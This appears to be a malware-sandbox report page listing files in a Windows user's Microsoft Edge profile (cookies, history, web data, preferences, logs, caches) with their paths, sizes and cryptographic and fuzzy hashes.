MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 daeda7fe679a9cf84380f5e1559f1281bd80ed5181d2749b3907fa854b149a5e
MD5 083bae0476e5d8fbbae1d6df6ed5753a
SHA1 624e04e554c3470eccc1fa90915590d862116d6a
SHA512 e2992ec0975555db6c4b6504ba1b663601b9e85a5a527111af2f06ca32c0735d830cd856132f14ca608248279778992b83148dc6d2fee473affea754cf6fd477
TLSH
T141E020C515C5C27D91016A47415C530C6141370EB7CC7E457B0C86D5F006584F39B662
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 f822b0b4ae8e9fc38276cc467ba89087f718e28c3a7989fa01123cb181e33c36
MD5 e7fbcb19bbb1ad2d3546423ed9a153d0
SHA1 ece08c99990d107dd007d4e7056ee6ea2b6421d2
SHA512 fd68ca4fb4b396d9e2d302f9effa2143c2711cedac292a344e75bd4cc58452bae434ac9588bcacf3206c4bb772a1a49efbdfe1ec86c08b32d1f339f35f3c6c74
TLSH
T118E02B7ACC21EC271CFD4719A009874BE71513672A80896F3A3C82088FB072646C5C5C
MD5 SHA1 SHA512 TLSH

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 df2b1fab77eaa0c5d5de3113ff717d994be385d78a204f34191dc1b51db42f99
MD5 8e1e218c4e2bbd3df4c40bdeeff7d256
SHA1 afdaf1b1a58b76cc589c201f11897c8438eaa9e9
SHA512 c34a6dd8e086e9503ca1cfd0a6e585f8f2c8550e11873eab841eba356fb0fdde72eb2a2e79b16b11400f28d885c5714225abe0f4fa88cb5073b49ff747372306
SSDEEP 768:zBqofe957VxrJQMGMrM8MdbWhHnG5KvShx2oP6G:zBdfUVxtVhHnG5KvwxHP6G
TLSH
T1C713E57D3E586DC2DAC2863D460B4A352B3ED830F6E4478F3BB635C2532674A096ED49
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 ead73e739b6975c745d60db53ae34125ddaecabc2942016a01935adac5854844
MD5 9ccd0b2d8975ed0a9973e6b029ccb1f0
SHA1 0c9c42a6793f07d5672b428c12c43708f4af4765
SHA512 f139fb4766220730af9362611423418271ed7ec616e875fe2abcec10a87fbc863c39acd58047ae677409d8499370980906426c9cd8c3743437ad6a538eb81e66
SSDEEP 1536:ioL/cl5L/chFexMnSkoBgXL/C8L/8e3zwGwm2L/I3rfwQ7h66:vL/uL/HxMnugL/PL/8iCL/I7oR6
TLSH
T1F8444FF70951A05BCFA802F5E2033A3ED177056D7DE1E8E9E6784CD11825B22B6BDE84
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3
Size 8.0MB
SHA256 13cb9aa4c7e3711a5d701532fb28af4899a29a392315fcc1bd87870717b970c0
MD5 e6365d90b82bd3105b76160ec5cf5cc4
SHA1 19e8a7d399ff43efa5b0007b1cbf268bcaa14eb8
SHA512 6be02e5a6ff41df18570e3ede4da4f7c282ce815e112eba70fb5fd5ff0533019233f8579206a7d7b57fc58d43b2d17035579361973f1de686b3ca0c4ae2f3f38
SSDEEP 49152:pY1RmkqLlPTY+Py493sIYQj8iFMzRp37t:pC5qBPTKRIYwF4R
TLSH
T1CF867DEDCA6898C3CD639970B0F0ED477C7413C3F5A5C1D68898C684026B7C5BBAA769
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 cbdec410e0f3d77d60854f1524ef5558e8c5a5bba5eeb0f03dc8738535a6cdd1
MD5 e23efe90577a0d3eee4b51a01109836d
SHA1 b28c822fc252dc76e6f70cbb1fca408fa4f97c67
SHA512 15efda54488e3be2393716252d530a424a2021bc595db19e89abb5333b9c9e019da7fc17b01f406dc9ab60ee5eb9a13d794ec52dac8974260677d169ad1d6dc4
TLSH
T1467180398F425469E3E00131D3F115C4B73A99FDFA432F9F91D498F4AA15BE27529B08
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG
Size 346B
SHA256 051a7605c7ab878b023091f6d449b005a892bfe8a10e06cf5d8c7dbabcab8800
MD5 a7ebef25e64a3426eeec1bc1a9dd2299
SHA1 0b786fef591a84f11bf6f4a5b22d2c54c5bba35e
SHA512 2c134eed44b3df095a0de698d082b86a6b9b70847114d3dc8e07a3156eafe4f2a555abba0b280936403410dfabff41f5993f67f8476c8df31a2a0d272df6af00
TLSH
T141E0C0D869CFC11D141038E391386F48D2C43147C6DE3CC31704CDD5B702100B75D152
MD5 SHA1 SHA512 TLSH

Submit Download

EdgeHubAppUsageSQLite.db

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db
Size 32KB
SHA256 6153e677f790ef53984d301df51b23ab04275921f402f24e7dfa0a9385799e12
MD5 21ee7ebe1652723a79a6c6ed24817987
SHA1 e1fc2ca1b33dc8fd78c28d7f6c162e1230b2472c
SHA512 01a06735dadb8f269c2838894db2c2a2786117fe46d9d08399979ac9a3c45fd769653d5e146be2db44807b9c29f2cbb56f3b08e2c380041fca84cc88e274ed3f
SSDEEP 24:TLAga0Zb7OaIbz+UOxUDDNzWjJ0npnyX7y+jbyW5LbK5fKFtIP+G+XqYpv:Tyi+7f+UZD4jJ/BSWxbCKFOWTpv
TLSH
T147E2AE8D3B11F512C8EE733DA0C2C6E19EBC697C464EB171523898B6CC526A6F59E10A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Size 322B
SHA256 89a5b3fdca8859afe1b74484da2cbef6e9321ab73b495beb33f2b86ad868ff64
MD5 82d8ebc9a92e98a90075adf9351ea209
SHA1 dcda768656a2b58e8f20a80ed3bac77c78a968aa
SHA512 4d6fbd1f5f9f69fa02cbb58085e72a2134cbc4580554b2cfa761c52ed18474be1364e98bc5659db77a67399f50b75762e739f063ddb48a187bfa781be14353b2
TLSH
T118E080D804C9C21950156CA7426C7F188BD1356FA6C47E53678DDC94A6825867359154
MD5 SHA1 SHA512 TLSH

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 204KB
SHA256 f53980c06248e25f0af7ce456a9ec3575448f80982b4d02b636950a27fbcf385
MD5 d220bae5872f4292b46e8a4f0173d46e
SHA1 248da69866a17462a0c5c13dad47266c73a2bd9b
SHA512 0f1e930e4145b7e92550908337dd07ad9a6654eabd7bfb4909f42455f86d73d2e85a1beeeef89c46445706fd2afa43d6a9d489703fa1cddff2959802e9f3f53b
SSDEEP 96:npTcUIU+bGz83uy3+u4tgp4DLjGQLBze9z3yxjBHMsDEuspU0wbtqrOQpPfR4J+1:npvf+G83uy3Ct7XBBKcH7DXspU3iV
TLSH
T12D14020E4F243722CD7D917669E744B35D7CF03FCB5266DA686114B4CEE2A52A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 331B
SHA256 31aff1a0621b86c99a100d89e0a02804550ff81fe1d563cdce2cf02d1dd5aa71
MD5 d812df0e7797e84f907cc2b62bae8b35
SHA1 476d54bad8bbdc9b9945b4ac1760b0c45e4b4ce8
SHA512 b27788424bb35aad27545de3ecc52b84278017291b0d322155744de2c6b73e280b5550c1f8de7dffc657aa6854a742af23f100c8a5e8a0de01304a8766f95007
TLSH
T198E020A8C4CDC13DB1183457422C774CCBB1394BEAC83F815B489941F106104B7951D2
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 20KB
SHA256 8e3426e062dc08c0c689bda270f7877ad627a97206ce32de94d8af88fb7be124
MD5 ae914b0020407e6067aa073ffb89cae5
SHA1 30632f0d8d7a7a3e6395f52ef500ff304b5210d4
SHA512 9d8aea4609bf54f862d9a46e5e30c57a3323a179cf874d024d59a592cab833f450a215986eae0323a3f968c2d6535a7d2d1086d3770a28d77e2065f5a3f34e49
SSDEEP 48:T2SLopFMatSaw/auUOt8BMoPCWwcjOZ3oZswAwH:iSeMatUaAK13jjK3oZ7AA
TLSH
T1C9921F8E1F346221D0B49B76EDD885672F7C211C83777A89DE2520F3CD6269BF4160AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 5a81f0f78ec29d344269f24717dec2dc5aa0fd46441b715e6d2657cd19caeb77
MD5 55f47c9a36f1127066fadb5f69fe1e95
SHA1 96a8990e123db82c6c606d759af77b069600a792
SHA512 784b04cc52ecff6d9e8ea5aeebbb2554b002b49fc76d7c013d4f5afa44ef788d43be0333b725c7bab218392c1c71ff7695660e6775c07921e3c775a47233e1d4
TLSH
T18941C3F783F4856E8A1195F0EA187E2FCE2D0515432C3D9A89E4AF1793E3471E14165F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 995ccb8f57e8c9692864688e7059773e047f1274f81e14a39c00125bd8a7d74f
MD5 9ca52ac3fc8155c9390a346f873875c8
SHA1 dfaec55d64b46628692b4172c663575004444c6c
SHA512 1f8c82be61185ccb3660a12d544dba454be4131fe612e3a85d72bda96514106221200ac7b3fc13b6b8f9264e300c253e3ff2338f76b26048f137a726f992d80b
TLSH
T19B41C2F783E4856EC91196F0AB187E2FCE1D0514832C7D9A89E4AF1B93E3471D141A9F
MD5 SHA1 SHA512 TLSH

Submit Download

Reporting and NEL

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL
Size 36KB
SHA256 213dfa19d8851803b2cbfcf72d4d31c54a4e715a45118326300f646fde9869b2
MD5 0ad72d816cb5c341b4c53d72ce251125
SHA1 54ca45ffd9e3e3bfad8ec0481400cb571f7a22d4
SHA512 4c0b344e98ac540e83bb4b244b4c6fd7c5a3f7af08a68426f37024dfc39ae67399d9bd3cc3e4023f9ac5ef90b51248d81b4d1ba18b6f02a0c5bd841e38172877
SSDEEP 96:eIEumQv8m1ccnvS6Nwh2lwsf5nFX9aSM4g:eIEumQv8m1ccnvS6NwoJ9U
TLSH
T1ABF2EDFE07276105D98444B0E400AF8FAF06414B47B6B6EC76D447E3F7A20E2B2B9786
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity
Size 188B
SHA256 e02f8f065c0718d780697efd758e65c2046048e71b88a4cc6a431e05f4cdef76
MD5 6d302a9332a667e659817c7b17234120
SHA1 48f4af3e31d124f66e68fba8df2bfa9e916fbb8d
SHA512 6cfed69fe01cb376d2a361d98eefdcd06892ba28484de6185e2af2a0ba58f083e5f76c309c16be3a997f60da023eed6c823d8c8420f805bc2e5a1642b5a68e80
TLSH
T17BC0125280F9E4B2107465795EC4BCD17A76D434005194B1DDA9E33EA092AFB6A1A43D
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 630dea2ad129ca74556367f0831ef892e964931a56d235994d37b01757bc4959
MD5 fa0989f33c09a702f470db5d1ea5b7b5
SHA1 d338c700f9429cb378a01338588ad6069259d6f3
SHA512 50d943b7917b851163756c2e443001822a784eb9fc35a96792073fc364db9d381697babcc2b75aa99c7ce9e1043eef3205a8517ba0f2bff721c8fab4e2d7542e
SSDEEP 192:sxZGRdyMqZjK1Ml8Mjz/f7ss/ovaZdIaRuvZzodpHEHW6+WNGYvIuHmcP3IgjKJ:sxZG27z/f7ss/ovazIKYSkHbGxMjG
TLSH
T17A62E80A6A34597BDCDBD209FA457F53D6F90563A2945E44A9FC8B0C04E7BEC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 98e682b3f4e1314d3c1e62b5ef932e56be23a63c796023d58ecfce511dced0c1
MD5 6893479090fa54351c46f7bfc17ba754
SHA1 090bf3b751201f732a4964525b06cf910342396e
SHA512 74297f65e68c541d36a00edfdc68e6aadf8022ee394782754efde3c2b4dd9bada97df0b770fd808a89936c73b7c26839bd589e06b1a164f447085b14e80263bb
SSDEEP 192:sxZGRdyMqZjK1Ml8cjz/f7sE1WpVLvaZdIaRuvWzodpHEHW6+WNGYPeupms13Igz:sxZG2Fz/f7sE1WvLvazIKYtkHbG9CSG
TLSH
T1AB72F80A6A34997BDCD7D209FA457F63D6F90523A2945E4499FC8A0C01E7BEC231382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 c4cdc17bdce90ba5fbad133cb480ca5725a5d9cfbb8010cfb7af492c9d286822
MD5 68e196a7b88c09bdd4458e95259d6eb1
SHA1 72aeecfd44d0b306e1c28ed65d55757f0c7924f3
SHA512 1b0ec19a98837e862d09ef3ad958ebeb00293744f7899691af33736db2e4ce3abbedc1716a5085dd8fbc1e166d78bd4e853850ad1cb893231ffc1490dd45a17c
SSDEEP 768:ZYsv8OdF6ssi7pLuLnFhWvFvmX8F1+UoAYDCx9Tuqh0VfUC9xbog/OV4ysy10Lln:eY8Od/HEnFhWvFvmXu1jakt10Lm2Nu1y
TLSH
T110F2FB3B6C0CCB7E4F844E9CEC2A6F8A6DE802CB5698895447FA844C02C76EB55175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 335B
SHA256 e271f8523821aaf04119dddaa86415a513910576d0e71764898f2010862b1651
MD5 def359a0486f3d246ed34fedcbcc9fdb
SHA1 1450b532570f7f4da93e5e7f79dfee6cfafc2967
SHA512 26db59ba48759ff5ac8fe449dd68ebbe0c7e48539eed68120770b3597efb2a163ff392e82566520e05d6fcbec90758b70f31206b8d69ca35e548640a1bb6f4d0
TLSH
T133E086D445D9C17DA115279303AC93089BF5751BD6CC7D52AFC8CE90A283544F3A75D1
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 ea2791d11c9f82b301efda85cb61bcea1bd543b31fd5b0f5b24bc56f35e6dd32
MD5 fa7d484416075f4555e63274e7a2162b
SHA1 ca0f822f5208e5ae3554fb77db08f35a846d1e2d
SHA512 462389a86c38f022ce94937f7e6c4d1d75b023193dc3566adcba4eed77ca541c18606d72430c20c8e0d6d0494c1ac335c6f478c43bebadf4797999667e9f433e
TLSH
T1BAE048A815C9C26BA1452797526CE308CAB37517D6CC3962AF4C9990A347144B357691
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 326B
SHA256 639d8ed43ecf6b2b8f05b7e2eed46944da05a3d6127a963cfae17a938b837ab2
MD5 3bf24934f89cbbe8e29bbc94aa69b6c1
SHA1 9a7171642ce15ece2fcc650851b43a115e1322c9
SHA512 f09a9e0d9ee42e0b508c17f78661124e741f24d69ada4e8fb25a37dd13da843a6ba2e86a39bb753ac79a7243820b907508ad1a6b3c7379cb7c0c8648db65a699
TLSH
T131E026B84EC8C23D6108A597826CA70DCAF17D0B93C83A82974C8DC0F202520B3FE9D0
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 17fa357a33bdc432c07733233fb88b00c4712760d7b1b223527752aa55147e2a
MD5 ff3b0ec298c8a9c51e56b6980cd4e18a
SHA1 918972cfab7166a0dddccbe8a253f241db55b746
SHA512 f261fe6abf0042b811e47ce1cc3009b1acd62732295cb7fdaa3a56a5fabdbd7a14f348a962a90a23a9b3974fe38ae1b47daa3125d3040dc2ef1064142429bed7
SSDEEP 192:05ppxnY753RNBvRJJdt7p5J9/nxP7Ix9g:0LppY93PBZJPtN53/xH
TLSH
T15DB28D5A703E0212397E298CB39596364F4235A33058E4AF7FB814A14F67E225DFD8ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 27KB
SHA256 1b19c8429bb3f08c7d73f85cb20c229684105db6afd14879dae89590d390b539
MD5 c40909607d7b5b8e7f0f8916ab2cc47d
SHA1 20415ae6de2b6c406c8bea982d0e3aaed0908c97
SHA512 0be0effeb5d078c3e7a78509b1a2d5e40cc77539c030c345b2228b603ac4ad3dae309a31d2823bf092c3950ec9157914c6678dd62e2b5f570b5a4662068a4472
SSDEEP 192:05ppxnY753RNBvRJJdt7p5J9/nxP7Ix97hxctGhF3w4LeTLOVxqzZrg:0LppY93PBZJPtN53/x3vZU
TLSH
T1D3C29956707A0242397E294CB39596364F8235A33058F4AF7FB804A24F67E225DFD8ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 11c2b0c0fdf8ff78bb1f24cf8ac405d3af07a94e812e7ac143ac35fa75d3269a
MD5 81766ad6aa3d4516a753d76d78343f5e
SHA1 ccce18741ec12c4d75c2d4097d3a5936b14b5e35
SHA512 5c5673f501aa8650d36aa237909eb9fe8c511e58f699f9e64f6ab2353e2b21e3342ec1f222d9ae8edb5d310ee107f4cdc9e05f2de0863704521c425da02ddbef
SSDEEP 192:P+xWUpfT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:mxVfQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T15024630A7B747001EDE6D9721CB080771E3CB16DCF22A6915DA664698DB2853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default_cloud_config.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\default_cloud_config.json
Size 13KB
SHA256 f9e4da319fe1f5a7d497c452421f4648a24ec7588f309ebea0f0cd61a6251eef
MD5 256c40bace492c4e28451ce149d2f9ac
SHA1 b48b0eaf986b9efc91d5c8dd394dccb6d82e2adc
SHA512 33b38d1ced015798722180fc8c8ce6daedb18cd5d0e4b3db27d6176c13cf3ccb1bd79f2e68ca390d6eb43ac508c29067e8f1a3ee9f0167cabe37ebbddf6b0ec0
SSDEEP 384:l7BJeojewj9mg1IZyvASoIL5QJwTcoEnE0YU/VwTcoEnE0GU58:l7BJeojewjcg1IZyvASos5FEnE0YREnA
TLSH
T12452007AD2211C7719B8636858BC4692F524137F8281C81F78BC656C8F7FA79A089FDC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

favorites_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\favorites_diagnostic.log
Size 2KB
SHA256 09b8f1892ed1c2ca1b598e342dc841bf24d110302d78d228d185682e2e1ec501
MD5 faa5619f7c312cffb303654053bf5232
SHA1 e48d2e89646ac95bc32be60693c36d2b3adcb067
SHA512 c7d6413cf3c982635cca77a61008d3a01305a5582cf8ff472dc4330ec50cdf52d605adf78a214c5a1a748be1d8de9a71aad4563cab4344f2cfd1d85855726844
TLSH
T1B651A5C193E964866F99B981D2097413ADE13F5F220E68B2732E44F44F44C2A1E7FE35
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Size 13KB
SHA256 6aba0b05052cf361aebf240bb086e5bebd7bf7552669f7e1abcc0240947aec5d
MD5 32fdafa6c74362d48618cad1da2b9ba6
SHA1 15bb40dec7e3d72798505d197bb6ef6e8b014c5f
SHA512 58411efa673a318c330ccf1be0768f13bce6d1ce3a60e2cfe7cfdfc34c288d9d0a9ce27fec4ba68cb94037a1ee02490a61e3603c760cb42cbee7181cace84fc0
SSDEEP 192:mQOA4AsBDl9HNCsMFP4flMQ3III2bGMIMAhYcYd:GAhsBJGscDQ3III2bGMIMyB6
TLSH
T1D352942D6B417B3BC05E2F77235646589BD5E84342BB222D30625C4F9EF3A5386C52F2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 322B
SHA256 1b380a25f4c2468f2b647f0b00be2eed5031ddb457619775210044b2cee00d5f
MD5 bf0589784a37ba78f0a27ca9708edeb5
SHA1 8d1f6e0c1361e15f240f56ba8053bc9573b23073
SHA512 27ac4d704ad1d1847bb89d810abcc2407ff6f5eb1f4c953f28d1dbc2a8d4a6ba9b1d1f24e34eca8e9d077e69f60d297c1090f1499649cf4acab0fd5777e42fe4
TLSH
T1DAE08694BDC9C1AEE01528D70178634C9FD27A0BEACC3996DF48C454E247544F7EE691
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 9e72a48b3bb2f1ba346703a2f29a6e0cd440630caa078ef9bbe2e36b2bfeb664
MD5 9902aecfb8c02490e757eae2dfc7bc94
SHA1 3431d0b700243264392ea8624dedecf95716c8fb
SHA512 8c5e0431b8f2b63b3cf35aebf7e479cbcc056328c9158472240e7a0ab071eaa332a7ea2e23c15633f96dc78955b28917cd948442d526ba0ebfb82aff117d51b7
TLSH
T1EA219D55F320C159E18E863AA46B9B261378E8129FBCEC0F847D24352D72E045E8B6E5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 340B
SHA256 17cbf2a643e3b4d2fc8eac9710ce87add0a18914035f98d4c3613355a94354d0
MD5 ceb6a5f94af0ba8e24bcca817a650247
SHA1 79de79740faec16ec626eb7d7b9e3af77af5f26e
SHA512 14c9e0671dfd47e6fd663cf75b6e82e06ec974ac16d70a372d470f5b469a9d436f0cb3a47d35a11937b984439ef06a52feeef0cca40f0f1efbdc9f5307a99c96
TLSH
T1D1E02694BDC8C2AFD01228E30178A34C8F92390BEBC83E429F88CD54E247141B7EE591
MD5 SHA1 SHA512 TLSH

Submit Download

data.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.4.17\data.txt
Size 149KB
SHA256 fac5ec341b2f4b9c98a8bd7ec852589ee81e4938812666568752f36ae4f115ab
MD5 37f7815ef32ef7a6d94bf74fff24d177
SHA1 7f89ad80f67aad3ff68cbb27b15bc2ec7abe1bee
SHA512 843a7845f7c020a7d111b8dffd1482625fab9eb15afabff99e2cada1533d1a90c33807c208e536b4062cd4356ca9b19ca648f98b8c708d840d5d52378af13e03
SSDEEP 3072:SPAgDcCHaLHl65aynyosxb3+B1xh0OrlwYEhRUnf3WzARDcgGfQUX:+X1aI5aZoKzMJ07Nh6n/vDcgMQ+
TLSH
T1CFE3F1148DC44FDDDEA8291C90FD0F2D23A0C6AD857BA5CAE323BD49BFA79045727185
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

office_endpoints_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\2026.6.5.1\office_endpoints_list.json
Size 9KB
SHA256 f0c77aaacfc571e0bc3f51387febe134d991bf3c7f1941af303ed901f288dcd6
MD5 30719122f9edf4e23019a3b74e4f4325
SHA1 6707d64052797b9c5f1a5ccf016e5859c8ef898b
SHA512 ec2e1a33fcd1301f282512ffafb611ea705dc5df09d9aee014276909c1b62b0c73600121d94e9b6d9e160296672b41f2cb8c3ba23f121244ad2ea6521680723c
SSDEEP 96:DdQ/JJvwjyUsrdfsysVsnQfbJNZidYusysXYs2sFsdv12XvlRT07s/DkhcrHPglW:D7d7mfgiIWRcV4sobxezQd1Y
TLSH
T11512BB3BC4B49F229AB060659705E244F13C43BF5600C6FF76B9829C1F366ECA58E1E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wallet-checkout-eligible-sites.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-checkout-eligible-sites.json
Size 23KB
SHA256 2abefae3d72e7c4f5cdc94eb0ee552612d843a26faf4a7bd061c73839e19d7eb
MD5 ed22bc3ded6df0109b9e594867473559
SHA1 ee39eb80dc23f7fd764199cbe4a153c4edc2e768
SHA512 fb337c0a0107dc37a3067bcd6f60ffb8f63ee892a0ff729dcdf67c7a21fec95a742a274853e8947489108d7543c13b9479e02574f490bc217e8a182f08543aa3
